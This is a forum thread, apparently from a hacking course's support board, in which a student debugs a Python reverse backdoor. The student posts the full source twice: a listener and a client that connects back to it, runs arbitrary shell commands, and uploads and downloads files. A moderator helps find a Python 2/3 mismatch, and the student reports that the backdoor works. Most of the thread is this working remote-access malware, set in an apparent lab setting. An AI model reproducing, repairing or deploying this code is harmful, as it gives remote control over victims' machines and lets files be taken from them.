Viewing 7 posts - 1 through 7 (of 7 total)
  • Author
    Posts
  • #54572
    swartj
    Participant

    Hello I have a problem with mybackdoor.
    When I run the backdoor I get a connection but everytime I try to execute a command I get this Error on the windows machine:
    Traceback (most recent call last):
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 65, in <module>
    my_backdoor.run()
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 43, in run
    command = self.reliable_receive()
    File “C:/Users/IEUser/Downloads/reverse_backdoor2.py”, line 23, in reliable_receive
    json_data = json_data + self.connection.recv(1024)
    TypeError: can only concatenate str (not “bytes”) to str

    Here is the Listener code:
    #!/usr/bin/env python
    import socket, json, base64
    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“[+] Waiting for incoming connections.”)
    self.connection, adress = listener.accept()
    print(“[+] Got a connection.” + str(adress))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)
    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue
    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Download successful.”
    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())
    def execute_remotely(self, command):
    self.reliable_send(command)
    if command[0] == “exit”:
    self.connection.close()
    exit()
    return self.reliable_receive()
    def run(self):
    while True:
    command = raw_input(“>> “)
    command = command.split(” “)
    try:
    if command[0] == “upload”:
    file_content = self.read_file(command[1])
    command.append(file_content)
    result = self.execute_remotely(command)
    if command[0] == “download” and “[-] Error ” not in result:
    result = self.write_file(command[1], result)
    except Exception:
    result = “[-] Error during command execution.”
    print(result)
    my_listener = Listener(“10.0.2.15”, 80)
    my_listener.run()

    Here is the backdoor code:
    #!/usr/bin/env python

    import socket
    import subprocess
    import json
    import os
    import base64
    import sys

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def execute_system_command(self, command):
    DEVNULL = open(os.devnull, ‘wb’)
    return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def run(self):
    while True:
    command = self.reliable_receive()
    try:
    if command[0] == “exit”:
    self.connection.close()
    sys.exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_direcory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during command execution.”
    self.reliable_send(command_result)

    def change_working_direcory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    my_backdoor = Backdoor(“10.0.2.15”, 80)
    my_backdoor.run()

    #54591
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Are you using python 2 or 3? Also your code is unreadable because it lacks of indentation. So share it using the CODE button or upload it to pastebin and share the links here.

    Greetings!
    Diego

    #54593
    swartj
    Participant

    Thank you for responidng. Im using python2 and here is my code:
    `
    #!/usr/bin/env python

    import socket
    import subprocess
    import json
    import os
    import base64
    import sys

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = json_data + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def read_file(self, path):
    with open(path, “rb”) as file:
    return base64.b64encode(file.read())

    def write_file(self, path, content):
    with open(path, “wb”) as file:
    file.write(base64.b64decode(content))
    return “[+] Upload successful.”

    def execute_system_command(self, command):
    DEVNULL = open(os.devnull, ‘wb’)
    return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)

    def run(self):
    while True:
    command = self.reliable_receive()
    try:
    if command[0] == “exit”:
    self.connection.close()
    sys.exit()
    elif command[0] == “cd” and len(command) > 1:
    command_result = self.change_working_direcory_to(command[1])
    elif command[0] == “download”:
    command_result = self.read_file(command[1])
    elif command[0] == “upload”:
    command_result = self.write_file(command[1], command[2])
    else:
    command_result = self.execute_system_command(command)
    except Exception:
    command_result = “[-] Error during command execution.”
    self.reliable_send(command_result)

    def change_working_direcory_to(self, path):
    os.chdir(path)
    return “[+] Changing working directory to ” + path

    my_backdoor = Backdoor(“10.0.2.15”, 80)
    my_backdoor.run()

    #54594
    swartj
    Participant

    Somehow the code button didnt work so here is my second try with the pastebin link:
    https://pastebin.com/CTggFDzZ

    #54643
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Your code looks ok, but the error seems you are using python3 in windows machine, can you sahre a screenshot with the command used to run the backdoor and the error message?

    Thanks!
    Diego

    #54666
    swartj
    Participant

    Thank you for pointing out that I should check the windows machine. I found the error and now it works fine.

    #54700
    Diego PérezDiego Pérez
    Moderator

    Hi!

    Cool you got it!
    Diego

Viewing 7 posts - 1 through 7 (of 7 total)
  • You must be logged in to reply to this topic.